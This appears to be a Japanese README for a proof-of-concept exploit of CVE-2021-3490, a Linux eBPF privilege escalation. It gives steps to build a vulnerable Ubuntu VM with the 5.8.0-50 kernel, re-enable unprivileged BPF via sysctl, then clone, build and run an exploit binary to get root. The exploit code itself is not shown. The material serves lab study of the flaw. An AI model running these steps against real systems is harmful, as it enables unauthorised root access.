
クレジット: https://github.com/chompie1337
Ubuntu Releases から ubuntu-20.04.6-live-server-amd64.iso を取得し、仮想マシンにインストールしてください。
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso
ISO のインストール後、Ubuntu サーバーを仮想マシンに完全にインストールし、以下のコマンドを実行してください。
sudo apt update
sudo apt install linux-image-5.8.0-50-generic linux-headers-5.8.0-50-generic linux-modules-5.8.0-50-generic linux-modules-extra-5.8.0-50-generic build-essential git libelf-dev
sudo nano /etc/default/grub
# Remove the hidden line and set grub_timeout = 15
新しくインストールしたカーネルで再起動し、次のコマンドを実行してください:
echo "kernel.unprivileged_bpf_disabled=0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
その後、このリポジトリを仮想マシンにクローンしてください。
git clone https://github.com/prabeershakya/CVE-2021-3490-POC.git
次に、POC ディレクトリに移動して、次のコマンドを実行してください。
make groovy
最後に、次のコマンドを実行して root を取得してください !!
chmod +x ./bin/exploit.bin
./bin/exploit.bin